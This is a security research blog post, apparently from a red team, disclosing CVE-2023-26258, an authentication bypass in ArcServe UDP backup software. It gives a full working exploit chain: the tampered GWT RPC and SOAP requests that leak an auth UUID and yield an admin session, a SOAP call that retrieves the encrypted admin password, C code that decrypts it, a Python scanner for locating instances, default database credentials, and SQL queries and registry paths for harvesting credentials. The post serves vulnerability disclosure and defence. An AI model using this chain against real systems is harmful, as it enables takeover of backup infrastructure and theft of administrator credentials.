ActiveBreach

CVE-2023-26258 – Remote Code Execution in ArcServe UDP Backup

Overview

During a recent adversary simulation, the MDSec ActiveBreach red team were performing a ransomware scenario, with a key objective set on compromising the organisation’s backup infrastructure.

As part of this simulation, Juan Manuel Fernandez and Sean Doherty carried out a detailed analysis of the software used to perform backups (ArcServe UDP). Within minutes of analysing the code, a critical authentication bypass was discovered that allowed access to the administration interface.

In this article we will proceed to explain the root cause of this vulnerability that affects versions 7.0 to 9.0, as well as other interesting tradecraft that may be of interest to both defenders and offensive professionals.

Authentication Bypass

When analysing the flow of HTTP requests made between our web browser and the web interface used for administrative tasks, we can observe that during the login process one of the requests sent is the following:

POST /contents/service/login HTTP/1.1
Host: 192.168.56.10:8014
Cookie: AGENTJSESSIONID=A20902BCB1FBFE1EEF99B4788DC24362
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:107.0) Gecko/20100101 Firefox/107.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: text/x-gwt-rpc; charset=utf-8
X-Gwt-Permutation: 69C1E1E0891DA29292A9BA76888D3D04
X-Gwt-Module-Base: <https://192.168.56.10:8014/contents/>
Content-Length: 245
Origin: <https://192.168.56.10:8014>
Referer: <https://192.168.56.10:8014/>
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin
Te: trailers
Connection: close

7|0|10|https://192.168.56.10:8014/contents/|9D583B6834A20CE6C6975A0AA976C843|com.ca.arcflash.ui.client.login.LoginService|validateUser|java.lang.String/2004016611|I|https:|EPIPELAGIC|SEVENKINGDOMS|vagrant|adepts|1|2|3|4|6|5|5|6|5|5|5|7|8|8014|9|10|11|

We can see it sends a body using a serialised object via GWT RPC. It invokes the method validateUser and it receives as arguments, the schema (https:), server hostname (EPIPELAGIC), the domain (SEVENKINGDOMS), username (vagrant) and password (adepts).

This functionality can be found implemented at flash-webui.jar file:

public Boolean validateUser(HttpServletRequest req, String protocol, String host, int port, String domain, String username, String password, String logindetail) throws BusinessLogicException, ServiceConnectException, ServiceInternalException {
    logger.debug("validateUser(HttpServletRequest, String, String, int, String, String, String, String) - start");
    if (StringUtil.isEmptyOrNull(username))
      throw generateException(FlashServiceErrorCode.Login_UsernameRequired);
    if (StringUtil.isEmptyOrNull(password))
      throw generateException(FlashServiceErrorCode.Login_PasswordRequired);
    HttpSession session = req.getSession();
    WebServiceClientProxy client = null;
    LoginDetail detail = null;
    try {
      logger.debug(protocol + host + port);
      client = (WebServiceClientProxy)ServiceProviders.getLocalFlashServiceProvider().create(protocol, host, port, "IFlashService_R16_5");
      setServiceClient(req, client);
      detail = client.getService().validateUserWithDetail(username, password, domain, logindetail);
      setLocalWebServiceClient(client);
    } catch (WebServiceException exception) {
      logger.error("Error occurs during validate user...");
      logger.error(exception.getMessage());
      if (exception.getCause() instanceof Error && exception.getMessage().startsWith("Undefined operation name"))
        throw generateException(FlashServiceErrorCode.EDGE_D2D_INTERFACE_MISMATCH);
      proccessAxisFaultException(exception);
    }
    HostInfo hostInfo = new HostInfo();
    hostInfo.setName(host);
    hostInfo.setUsername(username);
    session.setAttribute(SessionConstants.SRING_DOMAIN, domain);
    session.setAttribute(SessionConstants.SRING_USERNAME, username);
    session.setAttribute(SessionConstants.SRING_PASSWORD, password);
    session.setAttribute(SessionConstants.SRING_UUID, "");
    session.setAttribute(SessionConstants.SRING_LOGIN_DETAIL, detail);
    logger.debug("validateUser(HttpServletRequest, String, String, int, String, String, String, String) - end");
    return Boolean.TRUE;
  }

As can be seen in the code above, the validateUser method creates a “client” that will act as a proxy to communicate independently with a WebService that will be in charge of the validation of the supplied credentials. The location of this WebService, along with the schema used (HTTP or HTTPs), is information that is supplied in the serialised object. Therefore, if we block and edit the request in transit to modify the values of the serialised object, we can make that “client” contact an HTTP server controlled by us. For example, let’s change “EPIPELAGIC” host to “192.168.56.1” and standup a minimal HTTP server to log the request:

7|0|10|https://192.168.56.10:8014/contents/|9D583B6834A20CE6C6975A0AA976C843|com.ca.arcflash.ui.client.login.LoginService|validateUser|java.lang.String/2004016611|I|http:|192.168.56.1|SEVENKINGDOMS|vagrant|1|2|3|4|6|5|5|6|5|5|5|7|8|7777|9|10|10|

In our logger we receive the following request:

psyconauta@insulanova:/tmp|⇒  python3 loghttp.py 7777
Starting httpd...
<?xml version='1.0' encoding='UTF-8'?><S:Envelope xmlns:S="<http://schemas.xmlsoap.org/soap/envelope/>"><S:Body><ns2:validateUser xmlns:ns2="<http://webservice.arcflash.ca.com>" xmlns:ns3="<http://backup.data.webservice.arcflash.ca.com/xsd>" xmlns:ns4="<http://data.webservice.arcflash.ca.com/xsd>" xmlns:ns5="<http://export.data.webservice.arcflash.ca.com/xsd>" xmlns:ns6="<http://vsphere.data.webservice.arcflash.ca.com/xsd>" xmlns:ns7="<http://browse.data.webservice.arcflash.ca.com/xsd>" xmlns:ns8="<http://restore.data.webservice.arcflash.ca.com/xsd>" xmlns:ns9="<http://catalog.data.webservice.arcflash.ca.com/xsd>" xmlns:ns10="<http://activitylog.data.webservice.arcflash.ca.com/xsd>" xmlns:ns11="<http://remotedeploy.data.webservice.arcflash.ca.com/xsd>" xmlns:ns12="<http://history.job.data.webservice.arcflash.ca.com/xsd>" xmlns:ns13="<http://webservice.edge.arcserve.ca.com/>"><arg0>vagrant</arg0><arg1>vagrant</arg1><arg2>SEVENKINGDOMS</arg2></ns2:validateUser></S:Body></S:Envelope>
192.168.56.10 - - [04/Feb/2023 11:56:58] "POST /WebServiceImpl/services/FlashServiceImpl HTTP/1.1" 200 -
<?xml version='1.0' encoding='UTF-8'?><S:Envelope xmlns:S="<http://schemas.xmlsoap.org/soap/envelope/>"><S:Body><ns2:getVersionInfo xmlns:ns2="<http://webservice.arcflash.ca.com>" xmlns:ns3="<http://backup.data.webservice.arcflash.ca.com/xsd>" xmlns:ns4="<http://data.webservice.arcflash.ca.com/xsd>" xmlns:ns5="<http://export.data.webservice.arcflash.ca.com/xsd>" xmlns:ns6="<http://vsphere.data.webservice.arcflash.ca.com/xsd>" xmlns:ns7="<http://browse.data.webservice.arcflash.ca.com/xsd>" xmlns:ns8="<http://restore.data.webservice.arcflash.ca.com/xsd>" xmlns:ns9="<http://catalog.data.webservice.arcflash.ca.com/xsd>" xmlns:ns10="<http://activitylog.data.webservice.arcflash.ca.com/xsd>" xmlns:ns11="<http://remotedeploy.data.webservice.arcflash.ca.com/xsd>" xmlns:ns12="<http://history.job.data.webservice.arcflash.ca.com/xsd>" xmlns:ns13="<http://webservice.edge.arcserve.ca.com/>"/></S:Body></S:Envelope>
192.168.56.10 - - [04/Feb/2023 11:56:58] "POST /WebServiceImpl/services/FlashServiceImpl HTTP/1.1" 200 -

We can see it does two SOAP requests against /WebServiceImpl/services/FlashServiceImpl, the first (validateUser same name we saw in the method) with the credentials and the second requesting additional info (getVersionInfo).

If we copy this request and send it manually against the original WebService:

POST /WebServiceImpl/services/FlashServiceImpl HTTP/1.1
Host: 192.168.56.20:8014
Content-Length: 887

<?xml version='1.0' encoding='UTF-8'?><S:Envelope xmlns:S="<http://schemas.xmlsoap.org/soap/envelope/>"><S:Body><ns2:getVersionInfo xmlns:ns2="<http://webservice.arcflash.ca.com>" xmlns:ns3="<http://backup.data.webservice.arcflash.ca.com/xsd>" xmlns:ns4="<http://data.webservice.arcflash.ca.com/xsd>" xmlns:ns5="<http://export.data.webservice.arcflash.ca.com/xsd>" xmlns:ns6="<http://vsphere.data.webservice.arcflash.ca.com/xsd>" xmlns:ns7="<http://browse.data.webservice.arcflash.ca.com/xsd>" xmlns:ns8="<http://restore.data.webservice.arcflash.ca.com/xsd>" xmlns:ns9="<http://catalog.data.webservice.arcflash.ca.com/xsd>" xmlns:ns10="<http://activitylog.data.webservice.arcflash.ca.com/xsd>" xmlns:ns11="<http://remotedeploy.data.webservice.arcflash.ca.com/xsd>" xmlns:ns12="<http://history.job.data.webservice.arcflash.ca.com/xsd>" xmlns:ns13="<http://webservice.edge.arcserve.ca.com/>"/></S:Body></S:Envelope>

We obtain the next response:

HTTP/1.1 200
Date: Sat, 04 Feb 2023 11:03:22 GMT
Server: Apache
Content-Type: text/xml;charset=utf-8
Content-Length: 2853

<?xml version='1.0' encoding='UTF-8'?><S:Envelope xmlns:S="<http://schemas.xmlsoap.org/soap/envelope/>"><S:Body><ns2:getVersionInfoResponse xmlns:ns2="<http://webservice.arcflash.ca.com>" xmlns:ns3="<http://history.job.data.webservice.arcflash.ca.com/xsd>" xmlns:ns4="<http://vsphere.data.webservice.arcflash.ca.com/xsd>" xmlns:ns5="<http://data.webservice.arcflash.ca.com/xsd>" xmlns:ns6="<http://backup.data.webservice.arcflash.ca.com/xsd>" xmlns:ns7="<http://browse.data.webservice.arcflash.ca.com/xsd>" xmlns:ns8="<http://restore.data.webservice.arcflash.ca.com/xsd>" xmlns:ns9="<http://catalog.data.webservice.arcflash.ca.com/xsd>" xmlns:ns10="<http://export.data.webservice.arcflash.ca.com/xsd>" xmlns:ns11="<http://remotedeploy.data.webservice.arcflash.ca.com/xsd>" xmlns:ns12="<http://activitylog.data.webservice.arcflash.ca.com/xsd>" xmlns:ns13="<http://webservice.edge.arcserve.ca.com/>"><ns2:return><ns5:majorVersion>9</ns5:majorVersion><ns5:minorVersion>0</ns5:minorVersion><ns5:buildNumber>6034</ns5:buildNumber><ns5:locale>en</ns5:locale><ns5:country></ns5:country><ns5:timeZoneID>America/Los_Angeles</ns5:timeZoneID><ns5:timeZoneOffset>-28800000</ns5:timeZoneOffset><ns5:adminName>SEVENKINGDOMS\\vagrant</ns5:adminName><ns5:localDriverLetters>C:\\</ns5:localDriverLetters><ns5:localADTPackage>-1</ns5:localADTPackage><ns5:productType>2</ns5:productType><ns5:edgeInfoCM><ns5:edgeHostName>kingslanding.sevenkingdoms.local</ns5:edgeHostName><ns5:edgeUrl><https://kingslanding.sevenkingdoms.local:8015/management/></ns5:edgeUrl></ns5:edgeInfoCM><ns5:dataFormat><ns5:timeFormat>h:mm:ss a</ns5:timeFormat><ns5:shortTimeFormat>h:mm a</ns5:shortTimeFormat><ns5:timeDateFormat>M/d/yyyy h:mm:ss a</ns5:timeDateFormat><ns5:dateFormat>M/d/yyyy</ns5:dateFormat></ns5:dataFormat><ns5:isX86>false</ns5:isX86><ns5:isHyperVRoleInstalled>false</ns5:isHyperVRoleInstalled><ns5:isDedupInstalled>false</ns5:isDedupInstalled><ns5:isWin8>true</ns5:isWin8><ns5:isReFsSupported>true</ns5:isReFsSupported><ns5:osName>Windows Server 2019 Datacenter Evaluation</ns5:osName><ns5:hostName>kingslanding</ns5:hostName><ns5:osMajorVersion>10</ns5:osMajorVersion><ns5:osMinorVersion>0</ns5:osMinorVersion><ns5:osBuildNumber>17763</ns5:osBuildNumber><ns5:uefiFirmware>false</ns5:uefiFirmware><ns5:SQLServerInstalled>true</ns5:SQLServerInstalled><ns5:ExchangeInstalled>false</ns5:ExchangeInstalled><ns5:D2DInstalled>true</ns5:D2DInstalled><ns5:ARCserveBackInstalled>false</ns5:ARCserveBackInstalled><ns5:RPSInstalled>true</ns5:RPSInstalled><ns5:settingConfiged>false</ns5:settingConfiged><ns5:dotNetVersion>4.7</ns5:dotNetVersion><ns5:displayVersion>9.0</ns5:displayVersion><ns5:isInCloud>false</ns5:isInCloud><ns5:nodeUUID>d5936919-6cc3-4c8a-b570-bbd39f75ca17</ns5:nodeUUID><ns5:authUUID>6bf37b8e-ac4f-487d-8d74-d6d0a8d9b8d1</ns5:authUUID></ns2:return></ns2:getVersionInfoResponse></S:Body></S:Envelope>

There is alot of juicy information that can be obtained without authentication: OS version + buildnumber, hostname, domain and the name of the administrator account. But there is also something interesting: authUUID. If we check again flash-webui.jar below the validateUser there is another interesting method called: validateUserByUuid:

public Boolean validateUserByUuid(String uuid, String host, int port, String protocol) throws BusinessLogicException, ServiceConnectException, ServiceInternalException {
    logger.debug("validateUserByUuid(String, String, int, String) - start");
    if (StringUtil.isEmptyOrNull(uuid))
      throw generateException(FlashServiceErrorCode.Login_UUIDRequired);
    WebServiceClientProxy client = null;
    try {
      client = (WebServiceClientProxy)ServiceProviders.getLocalFlashServiceProvider().create(protocol, host, port, "IFlashService_R16_5");
      setServiceClient(client);
      client.getService().validateUserByUUID(uuid);
      setLocalWebServiceClient(client);
    } catch (WebServiceException exception) {
      logger.error("Error occurs during validate user by uuid...");
      logger.error(exception.getMessage());
      proccessAxisFaultException(exception, false);
    }
    getThreadLocalRequest().getSession(true).setAttribute(SessionConstants.SRING_DOMAIN, "");
    getThreadLocalRequest().getSession(true).setAttribute(SessionConstants.SRING_USERNAME, "");
    getThreadLocalRequest().getSession(true).setAttribute(SessionConstants.SRING_UUID, uuid);
    getThreadLocalRequest().getSession(true).setAttribute(SessionConstants.SRING_PASSWORD, "");
    logger.debug("validateUserByUuid(String, String, int, String) - end");
    return Boolean.TRUE;
  }

If we grep for this method name we can find it can be used from a WebService described at VirtualStandbyServiceImpl.wsdl:

     <xs:complexType name="validateUserByUUID">
        <xs:sequence>
          <xs:element name="arg0" type="xs:string" minOccurs="0"/>
        </xs:sequence>
      </xs:complexType>

So it only needs an argument that is the UUID. What happens when we use it with the AuthUUID value we found before?

POST /WebServiceImpl/services/VirtualStandbyServiceImpl HTTP/1.1
SOAPAction: "<http://webservice.arcflash.ca.com/IEdgeDashboardService/validateUserByUUIDRequest>"
Host: 192.168.56.20:8014
Content-Length: 964

<?xml version='1.0' encoding='UTF-8'?><S:Envelope xmlns:S="<http://schemas.xmlsoap.org/soap/envelope/>"><S:Body><ns2:validateUserByUUID xmlns:ns2="<http://webservice.arcflash.ca.com>" xmlns:ns3="<http://backup.data.webservice.arcflash.ca.com/xsd>" xmlns:ns4="<http://data.webservice.arcflash.ca.com/xsd>" xmlns:ns5="<http://export.data.webservice.arcflash.ca.com/xsd>" xmlns:ns6="<http://vsphere.data.webservice.arcflash.ca.com/xsd>" xmlns:ns7="<http://browse.data.webservice.arcflash.ca.com/xsd>" xmlns:ns8="<http://restore.data.webservice.arcflash.ca.com/xsd>" xmlns:ns9="<http://catalog.data.webservice.arcflash.ca.com/xsd>" xmlns:ns10="<http://activitylog.data.webservice.arcflash.ca.com/xsd>" xmlns:ns11="<http://remotedeploy.data.webservice.arcflash.ca.com/xsd>" xmlns:ns12="<http://history.job.data.webservice.arcflash.ca.com/xsd>" xmlns:ns13="<http://webservice.edge.arcserve.ca.com/>"><arg0>6bf37b8e-ac4f-487d-8d74-d6d0a8d9b8d1</arg0></ns2:validateUserByUUID></S:Body></S:Envelope>

It responds with a cookie with a session! (AGENTJSESSIONID…)

HTTP/1.1 200
Date: Fri, 03 Feb 2023 22:01:07 GMT
Server: Apache
Content-Type: text/xml;charset=utf-8
Set-Cookie: AGENTJSESSIONID=D16CE41B84744598FD8BBD6D9A568CE1; Path=/WebServiceImpl; Secure; HttpOnly
Content-Length: 324

<?xml version='1.0' encoding='UTF-8'?><S:Envelope xmlns:S="<http://schemas.xmlsoap.org/soap/envelope/>"><S:Body><ns2:validateUserByUUIDResponse xmlns:ns2="<http://webservice.arcflash.ca.com>" xmlns:ns3="<http://data.webservice.arcflash.ca.com/xsd>"><ns2:return>0</ns2:return></ns2:validateUserByUUIDResponse></S:Body></S:Envelope>

Retrieving Admin password

Once we have exploited the vulnerability in order to obtain a valid administrator session, the next thing we can do is to use it to interact with the WebService and retrieve the administrator password. Fortunately ArcServe provides a method called getLocalHostAsTrust which returns the encrypted password:

POST /WebServiceImpl/services/FlashServiceImpl HTTP/1.1
Cookie: AGENTJSESSIONID=1D5290DAC2BBD2D98D97F8EDC594A7B7
SOAPAction: "<http://webservice.arcflash.ca.com/IFlashService_R16_5/getVersionInfoRequest>"
Host: 192.168.56.20:8014
Content-Length: 917

<?xml version='1.0' encoding='UTF-8'?><S:Envelope xmlns:S="<http://schemas.xmlsoap.org/soap/envelope/>"><S:Body><ns2:getLocalHostAsTrust xmlns:ns2="<http://webservice.arcflash.ca.com>" xmlns:ns3="<http://backup.data.webservice.arcflash.ca.com/xsd>" xmlns:ns4="<http://data.webservice.arcflash.ca.com/xsd>" xmlns:ns5="<http://export.data.webservice.arcflash.ca.com/xsd>" xmlns:ns6="<http://vsphere.data.webservice.arcflash.ca.com/xsd>" xmlns:ns7="<http://browse.data.webservice.arcflash.ca.com/xsd>" xmlns:ns8="<http://restore.data.webservice.arcflash.ca.com/xsd>" xmlns:ns9="<http://catalog.data.webservice.arcflash.ca.com/xsd>" xmlns:ns10="<http://activitylog.data.webservice.arcflash.ca.com/xsd>" xmlns:ns11="<http://remotedeploy.data.webservice.arcflash.ca.com/xsd>" xmlns:ns12="<http://history.job.data.webservice.arcflash.ca.com/xsd>" xmlns:ns13="<http://webservice.edge.arcserve.ca.com/>"></ns2:getLocalHostAsTrust></S:Body></S:Envelope>

Jackpot!!!

HTTP/1.1 200
Date: Sat, 04 Feb 2023 11:12:14 GMT
Server: Apache
Content-Type: text/xml;charset=utf-8
Content-Length: 1625

<?xml version='1.0' encoding='UTF-8'?><S:Envelope xmlns:S="<http://schemas.xmlsoap.org/soap/envelope/>"><S:Body><ns2:getLocalHostAsTrustResponse xmlns:ns2="<http://webservice.arcflash.ca.com>" xmlns:ns3="<http://history.job.data.webservice.arcflash.ca.com/xsd>" xmlns:ns4="<http://vsphere.data.webservice.arcflash.ca.com/xsd>" xmlns:ns5="<http://data.webservice.arcflash.ca.com/xsd>" xmlns:ns6="<http://backup.data.webservice.arcflash.ca.com/xsd>" xmlns:ns7="<http://browse.data.webservice.arcflash.ca.com/xsd>" xmlns:ns8="<http://restore.data.webservice.arcflash.ca.com/xsd>" xmlns:ns9="<http://catalog.data.webservice.arcflash.ca.com/xsd>" xmlns:ns10="<http://export.data.webservice.arcflash.ca.com/xsd>" xmlns:ns11="<http://remotedeploy.data.webservice.arcflash.ca.com/xsd>" xmlns:ns12="<http://activitylog.data.webservice.arcflash.ca.com/xsd>" xmlns:ns13="<http://webservice.edge.arcserve.ca.com/>"><ns2:return><ns5:name>KINGSLANDING</ns5:name><ns5:port>0</ns5:port><ns5:uuid>TkVGQRAHCSAYAAAAEGYAAEgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACNN6wnCXQUv9XXeaqIvNyGjJ2C6dkWgkLGoLC4fym3LtFGinaud8DVix81Up1/aThbifZVqlRsu4R0T9P92JjvcVF6bKT6KrnHx6DCZALSTQ</ns5:uuid><ns5:userName>vagrant</ns5:userName><ns5:password>TkVGQRAHCSAYAAAAEGYAAA4AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACFPGHAnp8ZjTr6rqmN2Ghi</ns5:password><ns5:type>0</ns5:type><ns5:d2dVersion>9</ns5:d2dVersion></ns2:return></ns2:getLocalHostAsTrustResponse></S:Body></S:Envelope

To understand how to decrypt the password, we have to keep an eye on edge-app-base-webservice-impl.jar. This file contains a class called XmlDecrypter with the following content:

package com.ca.arcserve.edge.app.base.common;

import com.ca.arcflash.webservice.jni.WSJNI;
import java.io.IOException;
import javax.xml.parsers.ParserConfigurationException;
import javax.xml.transform.TransformerException;
import org.xml.sax.SAXException;

public class XmlDecrypter extends BaseXmlCrypt {
  public static final XmlDecrypter CommonDecrypter = new XmlDecrypter(new String[] { "uuid", ".*password", "encryptionkey", "access_token", "client_secret", "token_cache" });

  public XmlDecrypter(String[] matchTag) {
    super(matchTag);
  }

  protected String doEncrypt(String s) {
    return WSJNI.AFDecryptStringEx(s);
  }

  public String decryptXml_NoException(String xml) {
    return analyzeXml_NoException(xml);
  }

  public String decryptXml(String xml) throws ParserConfigurationException, SAXException, IOException, TransformerException {
    return analyzeXml(xml);
  }
}

The method doEncrypt calls a native function from “WSJNI”. After doing a bit of searching we find that AFCoreFunction.dll contains a function called AFDecryptFromString with next piece of source code inside (some parts were renamed during the reverse engineering process):

1800dd8ac              CryptDecrypt_trucho = &CryptDecrypt_m;
1800dd8bf              int32_t var_48_2 = 0x18;
1800dd8c6              int32_t var_44_2 = 0x6610; //AES-256
1800dd8ec              if ((mandanga_buena(&CryptDecrypt_trucho, nullptr) >= 0 && (r14_1 != 0 && r14_1 <= rbx_2)))
1800dd8e9              {
1800dd8f2                  arg_10 = r14_1;
1800dd8f2              }
1800ddb3f              CryptDecrypt_trucho = &CryptDecrypt_m;
1800ddb6b              rbx_1 = 0xa;
1800ddb77              void* const var_a8_2 = "AFSrvConfig::SaveAdminAccount";
1800ddb8b              sub_18006e160(Username, 0, 0, "%s: Encrypt password failed");
1800ddb7c          }

The function we renamed to mandanga_buena is shown below:

1800ea2b0  uint64_t mandanga_buena(void* arg1, int16_t* arg2)
1800ea2b0  {
1800ea2c5      int32_t rsi = 0;
1800ea2c7      void* const rbx = arg2;
1800ea2d5      if ((arg2 == 0 || (arg2 != 0 && 0 == *(int16_t*)arg2)))
1800ea2d2      {
1800ea2d7          rbx = "Please input a valid password";
1800ea2d7      }
1800ea2e9      int32_t var_18 = 0xf0000000;
1800ea2f3      BOOL rax = CryptAcquireContextW(((char*)arg1 + 8), nullptr, nullptr, *(int32_t*)((char*)arg1 + 0x20), 0xf0000000);
1800ea2fb      enum WIN32_ERROR rax_1;
1800ea2fb      BOOL rax_2;
1800ea2fb      uint64_t rax_4;
1800ea2fb      if (rax == 0)
1800ea2f9      {
1800ea2fd          rax_1 = GetLastError();
1800ea308          if (rax_1 == 0x80090016)
1800ea303          {
1800ea315              var_18 = 0xf0000008;
1800ea31f              rax_2 = CryptAcquireContextW(((char*)arg1 + 8), nullptr, nullptr, *(int32_t*)((char*)arg1 + 0x20), 0xf0000008);
1800ea315          }
1800ea327          if ((rax_1 != 0x80090016 || (rax_1 == 0x80090016 && rax_2 == 0)))
1800ea325          {
1800ea329              rax_4 = -1;
1800ea329          }
1800ea327      if ((rax != 0 || ((rax == 0 && rax_1 == 0x80090016) && rax_2 != 0)))
1800ea325      {
1800ea344          void* r15_1 = ((char*)arg1 + 0x10);
1800ea34d          var_18 = r15_1;
1800ea35a          if (CryptCreateHash(*(int64_t*)((char*)arg1 + 8), 0x8003, nullptr, 0, var_18) == 0)
1800ea358          {
1800ea35c              rax_4 = 0xfffffffe;
1800ea35c          }
1800ea363          else
1800ea363          {
1800ea363              int64_t rax_5 = -1;
1800ea379              bool cond:0_1;
1800ea379              do
1800ea379              {
1800ea370                  cond:0_1 = *(int16_t*)(((char*)rbx + (rax_5 << 1)) + 2) != 0;
1800ea375                  rax_5 = (rax_5 + 1);
1800ea375              } while (cond:0_1);
1800ea390              if (CryptHashData(*(int64_t*)r15_1, rbx, ((int32_t)(rax_5 + rax_5)), 0) == 0)
1800ea38e              {
1800ea392                  rax_4 = 0xfffffffd;
1800ea392              }
1800ea3aa              else
1800ea3aa              {
1800ea3aa                  var_18 = ((char*)arg1 + 0x18);
1800ea3bf                  if (CryptDeriveKey(*(int64_t*)((char*)arg1 + 8), *(int32_t*)((char*)arg1 + 0x24), *(int64_t*)r15_1, 0x1000004, var_18) == 0)
1800ea3b8                  {
1800ea3bf                      rsi = -4;
1800ea3bf                  }
1800ea3c2                  rax_4 = ((uint64_t)rsi);
1800ea3c2              }
1800ea3c2          }
1800ea3c2      }
1800ea3de      return rax_4;
1800ea3de  }

As we can see, it uses the string Please input a valid password as a seed to build the key used later in CryptDecrypt. With this knowledge, it was trivial to build a decrypter:

#include <Windows.h>
#include <stdio.h>

int main(int argc, char** argv) {
	printf("\\t\\t-={ ArcServe Decryptor by Juan Manuel Fernandez (@TheXC3LL) }=-\\n\\n");
	HCRYPTPROV phProv = NULL;
	HCRYPTHASH phHash = NULL;
	HCRYPTKEY phKey = NULL;

	BYTE enc[] = { 133, 60, 97, 192, 158, 159, 25, 141, 58, 250, 174, 169, 141, 216, 104, 98 }; // Text to decrypt (base64 decode and take everything after 0x80 bytes)

	BYTE key[] = { 0x50, 0x00, 0x6C, 0x00, 0x65, 0x00, 0x61, 0x00, 0x73, 0x00, 0x65, 0x00, 0x20, 0x00, 0x69, 0x00, 0x6E, 0x00, 0x70, 0x00, 0x75, 0x00, 0x74, 0x00, 0x20, 0x00, 0x61, 0x00, 0x20, 0x00, 0x76, 0x00, 0x61, 0x00, 0x6C, 0x00, 0x69, 0x00, 0x64, 0x00, 0x20, 0x00, 0x70, 0x00, 0x61, 0x00, 0x73, 0x00, 0x73, 0x00, 0x77, 0x00, 0x6F, 0x00, 0x72, 0x00, 0x64, 0x00 };
	DWORD pdwDataLen = sizeof(enc);

	if (!CryptAcquireContextW(&phProv, NULL, NULL, PROV_RSA_AES, CRYPT_VERIFYCONTEXT)) {
		printf("[!] CryptAcquireContextW Failed!\\n");
		exit(-1);
	}
	if (!CryptCreateHash(phProv, CALG_MD5, NULL, 0, &phHash)) {
		printf("[!] CryptCreateHash Failed!\\n");
		exit(-1);
	}
	if (!CryptHashData(phHash, key, 58, 0)) {
		printf("[!] CryptHashData Failed!\\n");
		exit(-1);
	}
	if (!CryptDeriveKey(phProv, CALG_AES_256, phHash, 16777220, &phKey)) {
		printf("[!] CryptDeriveKey Failed!\\n");
		exit(-1);
	}
	CryptDecrypt(phKey, NULL, TRUE, 0, &enc, &pdwDataLen);
	printf("[+] Decrypted string: %S", enc);
}

Finding ArcServe Instances

By default, ArcServe uses the instance name ARCSERVE_APP, so we can abuse SQL Browser Service to send a broadcast packet to port UDP 1434 and see if any host reply to it.

#!/usr/bin/env python3
# ArcServeRadar by Juan Manuel Fernandez (@xc3ll@mastodon.social)

import sys
import threading
from scapy.all import *

udp_packet = bytearray.fromhex("0441524353455256455f415050") # ARCSERVE_APP

def ping(ip, iface, port):
    print("[*] Broadcasting")
    sendp(Ether()/IP(src=ip,dst="255.255.255.255")/UDP(dport=1434,sport=port)/Raw(load=udp_packet), verbose=False, iface=iface)

def check(pkt):
	origin = pkt[IP].src
	content = pkt[Raw].load
	if content != udp_packet:
		data = content[content.find(b"Server"):]
		print("\\t[+] " + origin + " => " + data.decode("utf-8"))

def monitor(iface, port):
	print("[*] Starting to monitor")
	sniff(prn=check, filter="port " + str(port), iface=iface)

if __name__ == "__main__":
    print("\\t\\t-=[ ArcServe Finder - @xc3ll@mastodon.social ]=-\\n\\n")
    if len(sys.argv) != 4:
        print("[!] Error. Usage: python3 ArcServeRadar.py <interface> <originport> <originip>")
        exit(-1)
    iface = sys.argv[1]
    port = int(sys.argv[2])
    ip = sys.argv[3]
    x = threading.Thread(target=monitor, args=(iface,port,))
    x.start()
    ping(ip, iface, port)

Alternatively, the following default credentials could be used if unchanged:

[MSSQL] Cleartext Username : arcserve_udp
[MSSQL] Cleartext Password : @rcserveP@ssw0rd

Alternative Techniques for Obtaining Management Console Credentials

Even if the vulnerability is patched, it is possible to obtain the credentials of the administrator user in different ways. Of course, all of them imply certain privileges or default credentials. Examples include:

From the database:

If the MSSQL database is still configured with the default creds we can do two select queries:

select username,password from as_edge_connect_info;

Also, we can find where the admin server is located from the database:

select ipaddress,rhostname,osdesc from as_edge_host;

From the registry:

The credentials are also saved in Windows Registry, so if we have a domain/local user with enough privileges we can query remotely using Remote Registry service. The locations are:

Key:

HKEY_LOCAL_MACHINE\\SOFTWARE\\Arcserve\\Unified Data Protection\\Engine

Subkeys:

`AdminUser`

`AdminPassword`

Tools

If the attacker is positioned on the local network, scans can be performed to find instances using default configurations using ArcServeRadar.py.

c:\\Users\\vagrant\\Desktop>python ArcServeRadar.py "Ethernet 2" 6969 192.168.56.20
                -=[ ArcServe Finder - @xc3ll@mastodon.social ]=-


[*] Starting to monitor
[*] Broadcasting
WARNING: Mac address to reach destination not found. Using broadcast.
        [+] 192.168.56.10 => ServerName;KINGSLANDING;InstanceName;ARCSERVE_APP;IsClustered;No;Version;15.0.2000.5;tcp;62197;;

If the service is configured by default, it is possible to use default database credentials to connect to the IP and port obtained before and read the username/password plus where the ArcServe instances are located using ArcServe-dbpwner.py:

psyconauta@insulanova:/tmp|⇒  python3 arcserve-dbpwn.py -target 192.168.56.10 -port 62197
		-=[ ArcServe credential retriever (from DB) - Juan Manuel Fernandez (@TheXC3LL) ]=-


[*] Connecting to the server
[*] Login with default creds
[*] Extracting credentials:
	[+] User: SEVENKINGDOMS\\vagrant
	[+] Password: {133, 60, 97, 192, 158, 159, 25, 141, 58, 250, 174, 169, 141, 216, 104, 98}; // Paste it to the decrypter
	[+] User: SEVENKINGDOMS\\vagrant
	[+] Password: {133, 60, 97, 192, 158, 159, 25, 141, 58, 250, 174, 169, 141, 216, 104, 98}; // Paste it to the decrypter
[*] Finding hosts:
	[+] 192.168.56.10 | kingslanding.sevenkingdoms.local | Windows Server 2019 Datacenter Evaluation
	[+] 192.168.56.10 | kingslanding.sevenkingdoms.local | NULL


 Have a nice day! ^_^

All the passwords retrieved by the tools can be decrypted using ArcServeDecrypter.exe. Just edit the C code to add the array, compile and execute it:

C:\\Users\\vagrant>C:\\Users\\vagrant\\source\\repos\\ArcServeDecrypter\\x64\\Debug\\ArcServeDecrypter.exe
                -={ ArcServe Decryptor by Juan Manuel Fernandez (@TheXC3LL) }=-

[+] Decrypted string: vagrant

With a user with local admin privileges on the server where ArcServe is installed, it is possible to read the credentials using Remote Registry service (arcserve-regkeys.py):

